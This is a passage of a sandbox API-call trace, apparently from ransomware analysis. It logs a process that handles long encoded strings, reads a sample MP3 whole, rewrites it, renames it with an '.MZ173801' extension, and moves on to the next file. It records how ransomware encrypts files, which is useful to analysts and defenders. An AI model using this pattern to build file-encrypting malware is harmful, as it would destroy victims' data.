TQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0134.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0134.022] GetCurrentThreadId () returned 0x9fc [0134.022] GetCurrentThreadId () returned 0x9fc [0134.022] GetCurrentThreadId () returned 0x9fc [0134.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0134.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0134.022] GetCurrentThreadId () returned 0x9fc [0134.022] GetCurrentThreadId () returned 0x9fc [0134.022] GetCurrentThreadId () returned 0x9fc [0134.022] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0134.023] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0134.023] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0134.023] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x8064f1 [0134.023] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0134.023] VirtualAlloc (lpAddress=0x0, dwSize=0x810000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e790000 [0134.024] ReadFile (in: hFile=0x2a0, lpBuffer=0x7e790010, nNumberOfBytesToRead=0x8064f1, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7e790010*, lpNumberOfBytesRead=0x18f6c4*=0x8064f1, lpOverlapped=0x0) returned 1 [0138.964] CloseHandle (hObject=0x2a0) returned 1 [0138.964] VirtualAlloc (lpAddress=0x0, dwSize=0x810000, flAllocationType=0x101000, flProtect=0x4) returned 0x7df80000 [0138.968] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7df10000 [0138.973] VirtualQuery (in: lpAddress=0x7df80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7df80000, AllocationBase=0x7df80000, AllocationProtect=0x4, RegionSize=0x810000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0138.973] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7de80000 [0138.982] VirtualQuery (in: lpAddress=0x7df10000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7df10000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0138.982] VirtualAlloc (lpAddress=0x7df10000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7df10000 [0138.982] VirtualAlloc (lpAddress=0x7df10000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7df10000 [0138.986] VirtualQuery (in: lpAddress=0x7df40000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7df40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0138.986] VirtualAlloc (lpAddress=0x7df40000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7df40000 [0138.987] VirtualAlloc (lpAddress=0x7df40000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7df40000 [0138.991] VirtualQuery (in: lpAddress=0x7df70000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7df70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0138.991] VirtualAlloc (lpAddress=0x7df70000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x7df70000 [0138.991] VirtualAlloc (lpAddress=0x7df70000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x7df70000 [0138.993] VirtualQuery (in: lpAddress=0x7df80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7df80000, AllocationBase=0x7df80000, AllocationProtect=0x4, RegionSize=0x810000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0138.993] VirtualAlloc (lpAddress=0x0, dwSize=0x140000, flAllocationType=0x101000, flProtect=0x4) returned 0x7dd40000 [0139.004] VirtualQuery (in: lpAddress=0x7de80000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7de80000, AllocationBase=0x7de80000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.004] VirtualFree (lpAddress=0x7de80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.008] VirtualQuery (in: lpAddress=0x7df10000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7df10000, AllocationBase=0x7df10000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.008] VirtualFree (lpAddress=0x7df10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.009] VirtualQuery (in: lpAddress=0x7df40000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7df40000, AllocationBase=0x7df40000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.010] VirtualFree (lpAddress=0x7df40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.011] VirtualQuery (in: lpAddress=0x7df70000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7df70000, AllocationBase=0x7df70000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.011] VirtualFree (lpAddress=0x7df70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.017] VirtualQuery (in: lpAddress=0x7de80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7de80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0139.017] VirtualAlloc (lpAddress=0x7de80000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7de80000 [0139.017] VirtualAlloc (lpAddress=0x7de80000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7de80000 [0139.024] VirtualQuery (in: lpAddress=0x7ded0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ded0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0139.024] VirtualAlloc (lpAddress=0x7ded0000, dwSize=0x70000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ded0000 [0139.024] VirtualAlloc (lpAddress=0x7ded0000, dwSize=0x70000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ded0000 [0139.033] VirtualQuery (in: lpAddress=0x7df40000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7df40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0139.033] VirtualAlloc (lpAddress=0x7df40000, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x7df40000 [0139.034] VirtualAlloc (lpAddress=0x7df40000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0x7df40000 [0139.039] VirtualQuery (in: lpAddress=0x7df80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7df80000, AllocationBase=0x7df80000, AllocationProtect=0x4, RegionSize=0x810000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.039] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7da70000 [0139.092] VirtualQuery (in: lpAddress=0x7dd40000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7dd40000, AllocationBase=0x7dd40000, AllocationProtect=0x4, RegionSize=0x140000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.092] VirtualFree (lpAddress=0x7dd40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.098] VirtualQuery (in: lpAddress=0x7de80000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7de80000, AllocationBase=0x7de80000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.098] VirtualFree (lpAddress=0x7de80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.100] VirtualQuery (in: lpAddress=0x7ded0000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7ded0000, AllocationBase=0x7ded0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.100] VirtualFree (lpAddress=0x7ded0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.102] VirtualQuery (in: lpAddress=0x7df40000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7df40000, AllocationBase=0x7df40000, AllocationProtect=0x4, RegionSize=0x40000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.102] VirtualFree (lpAddress=0x7df40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.112] VirtualQuery (in: lpAddress=0x7dd40000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7dd40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x240000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0139.112] VirtualAlloc (lpAddress=0x7dd40000, dwSize=0xc0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7dd40000 [0139.112] VirtualAlloc (lpAddress=0x7dd40000, dwSize=0xc0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7dd40000 [0139.125] VirtualQuery (in: lpAddress=0x7de00000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7de00000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0139.125] VirtualAlloc (lpAddress=0x7de00000, dwSize=0xf0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7de00000 [0139.125] VirtualAlloc (lpAddress=0x7de00000, dwSize=0xf0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7de00000 [0139.140] VirtualQuery (in: lpAddress=0x7def0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7def0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0139.140] VirtualAlloc (lpAddress=0x7def0000, dwSize=0x90000, flAllocationType=0x2000, flProtect=0x4) returned 0x7def0000 [0139.140] VirtualAlloc (lpAddress=0x7def0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x7def0000 [0139.149] VirtualQuery (in: lpAddress=0x7df80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7df80000, AllocationBase=0x7df80000, AllocationProtect=0x4, RegionSize=0x810000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.149] VirtualAlloc (lpAddress=0x0, dwSize=0x660000, flAllocationType=0x101000, flProtect=0x4) returned 0x7d410000 [0139.191] VirtualQuery (in: lpAddress=0x7da70000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7da70000, AllocationBase=0x7da70000, AllocationProtect=0x4, RegionSize=0x2d0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.191] VirtualFree (lpAddress=0x7da70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.205] VirtualQuery (in: lpAddress=0x7dd40000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7dd40000, AllocationBase=0x7dd40000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.205] VirtualFree (lpAddress=0x7dd40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.209] VirtualQuery (in: lpAddress=0x7de00000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7de00000, AllocationBase=0x7de00000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.209] VirtualFree (lpAddress=0x7de00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.214] VirtualQuery (in: lpAddress=0x7def0000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7def0000, AllocationBase=0x7def0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0139.214] VirtualFree (lpAddress=0x7def0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.236] VirtualQuery (in: lpAddress=0x7da70000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7da70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x510000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0139.236] VirtualAlloc (lpAddress=0x7da70000, dwSize=0x1a0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7da70000 [0139.236] VirtualAlloc (lpAddress=0x7da70000, dwSize=0x1a0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7da70000 [0139.262] VirtualQuery (in: lpAddress=0x7dc10000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7dc10000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x370000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0139.262] VirtualAlloc (lpAddress=0x7dc10000, dwSize=0x200000, flAllocationType=0x2000, flProtect=0x4) returned 0x7dc10000 [0139.262] VirtualAlloc (lpAddress=0x7dc10000, dwSize=0x200000, flAllocationType=0x1000, flProtect=0x4) returned 0x7dc10000 [0139.433] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0141.494] WriteFile (in: hFile=0x2a0, lpBuffer=0x7df80010*, nNumberOfBytesToWrite=0x8064f1, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7df80010*, lpNumberOfBytesWritten=0x18f6d0*=0x8064f1, lpOverlapped=0x0) returned 1 [0141.685] CloseHandle (hObject=0x2a0) returned 1 [0141.685] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.MZ173801" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.mz173801")) returned 1 [0141.686] VirtualFree (lpAddress=0x7e790000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.822] VirtualFree (lpAddress=0x7df80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.873] VirtualQuery (in: lpAddress=0x7d410000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7d410000, AllocationBase=0x7d410000, AllocationProtect=0x4, RegionSize=0x660000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0141.874] VirtualFree (lpAddress=0x7d410000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.909] VirtualQuery (in: lpAddress=0x7da70000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7da70000, AllocationBase=0x7da70000, AllocationProtect=0x4, RegionSize=0x1a0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0141.909] VirtualFree (lpAddress=0x7da70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.918] VirtualQuery (in: lpAddress=0x7dc10000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7dc10000, AllocationBase=0x7dc10000, AllocationProtect=0x4, RegionSize=0x200000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0141.918] VirtualFree (lpAddress=0x7dc10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.923] GetCurrentThreadId () returned 0x9fc [0141.923] GetCurrentThreadId () returned 0x9fc [0141.923] GetCurrentThreadId () returned 0x9fc [0141.923] GetCurrentThreadId () returned 0x9fc [0141.923] GetCurrentThreadId () returned 0x9fc [0141.924] GetCurrentThreadId () returned 0x9fc [0141.924] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0141.924] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0141.924] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0141.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, 